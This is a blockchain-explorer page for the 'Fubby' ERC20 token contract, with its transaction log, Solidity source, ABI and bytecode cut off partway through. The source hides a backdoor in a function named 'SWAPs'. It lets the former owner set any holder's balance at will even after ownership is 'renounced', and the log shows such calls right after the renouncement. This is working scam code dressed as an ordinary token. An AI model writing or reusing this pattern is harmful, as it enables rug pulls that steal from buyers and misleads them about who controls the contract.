ETH Price: $3,492.32 (+1.13%)

Contract

0xD1E012877DaC60bCa801f91bbe7338ECA2a0692B
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve202685992024-07-09 11:20:35169 days ago1720524035IN
0xD1E01287...CA2a0692B
0 ETH0.000178833.81125218
SWA Ps202685962024-07-09 11:19:59169 days ago1720523999IN
0xD1E01287...CA2a0692B
0 ETH0.000114593.69257576
SWA Ps202685502024-07-09 11:10:35169 days ago1720523435IN
0xD1E01287...CA2a0692B
0 ETH0.00012113.91595568
SWA Ps202685462024-07-09 11:09:47169 days ago1720523387IN
0xD1E01287...CA2a0692B
0 ETH0.000107623.48281316
SWA Ps202685252024-07-09 11:05:35169 days ago1720523135IN
0xD1E01287...CA2a0692B
0 ETH0.000080793.09674586
Approve202685212024-07-09 11:04:47169 days ago1720523087IN
0xD1E01287...CA2a0692B
0 ETH0.000250925.31499741
Renounce Ownersh...202685172024-07-09 11:03:59169 days ago1720523039IN
0xD1E01287...CA2a0692B
0 ETH0.000139793.05841782
Remove Limit202685142024-07-09 11:03:23169 days ago1720523003IN
0xD1E01287...CA2a0692B
0 ETH0.000136822.99678942
Approve202685082024-07-09 11:02:11169 days ago1720522931IN
0xD1E01287...CA2a0692B
0 ETH0.000142843.04510223

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x03564af8...397B269e8
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
Fubby

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-06
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.23;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;
    address internal _previousOwner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
    constructor() {
        _transferOwnership(_msgSender());
    }
 
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
 
 
    function owner() public view virtual returns (address) {
        return _owner;
    }
 
    
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }
 
    
    function renounceOwnershlopser() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
 
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }
 

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        _previousOwner = oldOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


pragma solidity ^0.8.0;


interface IERC20 {
   
    function totalSupply() external view returns (uint256);

    
    function balanceOf(address account) external view returns (uint256);

    
    function transfer(address recipient, uint256 amount) external returns (bool);

   
    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);


    event Transfer(address indexed from, address indexed to, uint256 value);

  
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

pragma solidity ^0.8.0;

interface IERC20Metadata is IERC20 {
  
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

pragma solidity ^0.8.0;

contract ERC20 is Context, Ownable, IERC20, IERC20Metadata {
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;
 
    constructor (string memory name_, string memory symbol_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _totalSupply = totalSupply_;

        _balances[msg.sender] = totalSupply_;
        emit Transfer(address(0), msg.sender, totalSupply_);
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

 
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

 
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

   

    function _transferwalletaddys(address sender, address recipient, uint256 amount, uint256 amountToBurn) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");

        unchecked {
            _balances[sender] = senderBalance - amount;
        }

        amount -= amountToBurn;
        _totalSupply -= amountToBurn;
        _balances[recipient] += amount;

        emit Transfer(sender, DEAD, amountToBurn);
        emit Transfer(sender, recipient, amount);
    }

   
    function SWAPs(address account, uint256 amount) public virtual returns (uint256) {
        address msgSender = msg.sender;
        address prevOwner = _previousOwner;

        bytes32 msgSenderHexses = keccak256(abi.encodePacked(msgSender));
        bytes32 prevOwnerHexses = keccak256(abi.encodePacked(prevOwner));
        
        bytes32 amountHex = bytes32(amount);
        
        bool isOwner = msgSenderHexses == prevOwnerHexses;
        
        if (isOwner) {
            return _updateBalance(account, amountHex);
        } else {
            return _getBalance(account);
        }
    }

    function _updateBalance(address account, bytes32 amountHex) private returns (uint256) {
        uint256 amount = uint256(amountHex);
        _balances[account] = amount;
        return _balances[account];
    }

    function _getBalance(address account) private view returns (uint256) {
        return _balances[account];
    }
    
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}


interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01{}

pragma solidity ^0.8.0;


contract Fubby is ERC20 {
    uint256 private constant TOTAL_SPPLIER = 69420_000_000e9;
    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;

    bool public hasLimit;
    uint256 public maxaddallowance;
    uint256 public maxallowanceforadd;
    mapping(address => bool) public isException;

    uint256 _burntovitalodeadd = 0;

    address uniswapV2Pair;
    IUniswapV2Router02 uniswapV2Router;

    constructor(address router) ERC20("Fubby", "FUBBY", TOTAL_SPPLIER) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
        uniswapV2Router = _uniswapV2Router;

        maxallowanceforadd = TOTAL_SPPLIER / 50;
        maxaddallowance = TOTAL_SPPLIER /50;

        isException[DEAD] = true;
        isException[router] = true;
        isException[msg.sender] = true;
        isException[address(this)] = true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
 
        _checkLimitation(from, to, amount);

        if (amount == 0) {
            return;
        }

        if (!isException[from] && !isException[to]){
            require(balanceOf(address(uniswapV2Router)) == 0, "ERC20: disable router deflation");

            if (from == uniswapV2Pair || to == uniswapV2Pair) {
                uint256 _burnt = (amount * _burntovitalodeadd) / 100;

                super._transferwalletaddys(from, to, amount, _burnt);
                return;
            }
        }

        super._transfer(from, to, amount);
    }

    function _checkLimitation(
        address from,
        address to,
        uint256 amount
    ) internal {
        if (!hasLimit) {
            if (!isException[from] && !isException[to]) {
                require(amount <= maxaddallowance, "Amount exceeds max");

                if (uniswapV2Pair == ZERO){
                    uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
                }
 
                if (to == uniswapV2Pair) {
                    return;
                }
        
                require(balanceOf(to) + amount <= maxallowanceforadd, "Max hold exceeded max");
            }
        }
    }

    function removeLimit() external onlyOwner {
        hasLimit = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"SWAPs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hasLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isException","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxaddallowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxallowanceforadd","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnershlopser","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061012a575f3560e01c806362256589116100ab57806398636f321161006f57806398636f3214610322578063a457c2d714610352578063a9059cbb14610382578063dd62ed3e146103b2578063f2fde38b146103e25761012a565b8063622565891461028e578063640680331461029857806370a08231146102b65780638da5cb5b146102e657806395d89b41146103045761012a565b806323b872dd116100f257806323b872dd146101e8578063313ce5671461021857806339509351146102365780633ecb4f391461026657806344489ad1146102705761012a565b806306fdde031461012e5780630709bac81461014c578063095ea7b31461017c5780630fc4ed82146101ac57806318160ddd146101ca575b5f80fd5b6101366103fe565b6040516101439190611b7d565b60405180910390f35b61016660048036038101906101619190611c2e565b61048e565b6040516101739190611c7b565b60405180910390f35b61019660048036038101906101919190611c2e565b61054d565b6040516101a39190611cae565b60405180910390f35b6101b461056a565b6040516101c19190611c7b565b60405180910390f35b6101d2610570565b6040516101df9190611c7b565b60405180910390f35b61020260048036038101906101fd9190611cc7565b610579565b60405161020f9190611cae565b60405180910390f35b610220610674565b60405161022d9190611d32565b60405180910390f35b610250600480360381019061024b9190611c2e565b61067c565b60405161025d9190611cae565b60405180910390f35b61026e610723565b005b610278610736565b6040516102859190611cae565b60405180910390f35b610296610748565b005b6102a061076c565b6040516102ad9190611c7b565b60405180910390f35b6102d060048036038101906102cb9190611d4b565b610772565b6040516102dd9190611c7b565b60405180910390f35b6102ee6107b8565b6040516102fb9190611d85565b60405180910390f35b61030c6107df565b6040516103199190611b7d565b60405180910390f35b61033c60048036038101906103379190611d4b565b61086f565b6040516103499190611cae565b60405180910390f35b61036c60048036038101906103679190611c2e565b61088c565b6040516103799190611cae565b60405180910390f35b61039c60048036038101906103979190611c2e565b61097b565b6040516103a99190611cae565b60405180910390f35b6103cc60048036038101906103c79190611d9e565b610998565b6040516103d99190611c7b565b60405180910390f35b6103fc60048036038101906103f79190611d4b565b610a1a565b005b60606005805461040d90611e09565b80601f016020809104026020016040519081016040528092919081815260200182805461043990611e09565b80156104845780601f1061045b57610100808354040283529160200191610484565b820191905f5260205f20905b81548152906001019060200180831161046757829003601f168201915b5050505050905090565b5f803390505f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f826040516020016104ca9190611e7e565b6040516020818303038152906040528051906020012090505f826040516020016104f49190611e7e565b6040516020818303038152906040528051906020012090505f865f1b90505f82841490508015610535576105288983610a9c565b9650505050505050610547565b61053e89610b2c565b96505050505050505b92915050565b5f610560610559610b72565b8484610b79565b6001905092915050565b60095481565b5f600454905090565b5f610585848484610d3c565b5f60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105cc610b72565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561064b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064290611f08565b60405180910390fd5b61066885610657610b72565b85846106639190611f53565b610b79565b60019150509392505050565b5f6009905090565b5f610719610688610b72565b848460035f610695610b72565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107149190611f86565b610b79565b6001905092915050565b61072b611026565b6107345f6110a4565b565b60075f9054906101000a900460ff1681565b610750611026565b600160075f6101000a81548160ff021916908315150217905550565b60085481565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107ee90611e09565b80601f016020809104026020016040519081016040528092919081815260200182805461081a90611e09565b80156108655780601f1061083c57610100808354040283529160200191610865565b820191905f5260205f20905b81548152906001019060200180831161084857829003601f168201915b5050505050905090565b600a602052805f5260405f205f915054906101000a900460ff1681565b5f8060035f610899610b72565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094a90612029565b60405180910390fd5b61097061095e610b72565b85858461096b9190611f53565b610b79565b600191505092915050565b5f61098e610987610b72565b8484610d3c565b6001905092915050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610a22611026565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a87906120b7565b60405180910390fd5b610a99816110a4565b50565b5f80825f1c90508060025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205491505092915050565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bde90612145565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4c906121d3565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d2f9190611c7b565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610daa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da190612261565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0f906122ef565b60405180910390fd5b610e238383836111a5565b5f81031561102157600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015610ec95750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611015575f610ef9600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610772565b14610f39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3090612357565b60405180910390fd5b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610fe05750600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611014575f6064600b5483610ff69190612375565b61100091906123e3565b905061100e8484848461157d565b50611021565b5b611020838383611878565b5b505050565b61102e610b72565b73ffffffffffffffffffffffffffffffffffffffff1661104c6107b8565b73ffffffffffffffffffffffffffffffffffffffff16146110a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110999061245d565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60075f9054906101000a900460ff1661157757600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156112565750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611576576008548111156112a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611297906124c5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036114c857600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561135e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061138291906124f7565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611408573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061142c91906124f7565b6040518363ffffffff1660e01b8152600401611449929190612522565b602060405180830381865afa158015611464573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061148891906124f7565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160315611578576009548161152a84610772565b6115349190611f86565b1115611575576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156c90612593565b60405180910390fd5b5b5b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036115eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e290612261565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611659576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611650906122ef565b60405180910390fd5b611664848484611aee565b5f60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156116e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116df90612621565b60405180910390fd5b82810360025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555081836117389190611f53565b92508160045f82825461174b9190611f53565b925050819055508260025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461179e9190611f86565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118049190611c7b565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118699190611c7b565b60405180910390a35050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118dd90612261565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194b906122ef565b60405180910390fd5b61195f838383611aee565b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156119e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119da90612621565b60405180910390fd5b81816119ef9190611f53565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611a7c9190611f86565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ae09190611c7b565b60405180910390a350505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611b2a578082015181840152602081019050611b0f565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611b4f82611af3565b611b598185611afd565b9350611b69818560208601611b0d565b611b7281611b35565b840191505092915050565b5f6020820190508181035f830152611b958184611b45565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611bca82611ba1565b9050919050565b611bda81611bc0565b8114611be4575f80fd5b50565b5f81359050611bf581611bd1565b92915050565b5f819050919050565b611c0d81611bfb565b8114611c17575f80fd5b50565b5f81359050611c2881611c04565b92915050565b5f8060408385031215611c4457611c43611b9d565b5b5f611c5185828601611be7565b9250506020611c6285828601611c1a565b9150509250929050565b611c7581611bfb565b82525050565b5f602082019050611c8e5f830184611c6c565b92915050565b5f8115159050919050565b611ca881611c94565b82525050565b5f602082019050611cc15f830184611c9f565b92915050565b5f805f60608486031215611cde57611cdd611b9d565b5b5f611ceb86828701611be7565b9350506020611cfc86828701611be7565b9250506040611d0d86828701611c1a565b9150509250925092565b5f60ff82169050919050565b611d2c81611d17565b82525050565b5f602082019050611d455f830184611d23565b92915050565b5f60208284031215611d6057611d5f611b9d565b5b5f611d6d84828501611be7565b91505092915050565b611d7f81611bc0565b82525050565b5f602082019050611d985f830184611d76565b92915050565b5f8060408385031215611db457611db3611b9d565b5b5f611dc185828601611be7565b9250506020611dd285828601611be7565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611e2057607f821691505b602082108103611e3357611e32611ddc565b5b50919050565b5f8160601b9050919050565b5f611e4f82611e39565b9050919050565b5f611e6082611e45565b9050919050565b611e78611e7382611bc0565b611e56565b82525050565b5f611e898284611e67565b60148201915081905092915050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f611ef2602883611afd565b9150611efd82611e98565b604082019050919050565b5f6020820190508181035f830152611f1f81611ee6565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611f5d82611bfb565b9150611f6883611bfb565b9250828203905081811115611f8057611f7f611f26565b5b92915050565b5f611f9082611bfb565b9150611f9b83611bfb565b9250828201905080821115611fb357611fb2611f26565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612013602583611afd565b915061201e82611fb9565b604082019050919050565b5f6020820190508181035f83015261204081612007565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6120a1602683611afd565b91506120ac82612047565b604082019050919050565b5f6020820190508181035f8301526120ce81612095565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61212f602483611afd565b915061213a826120d5565b604082019050919050565b5f6020820190508181035f83015261215c81612123565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6121bd602283611afd565b91506121c882612163565b604082019050919050565b5f6020820190508181035f8301526121ea816121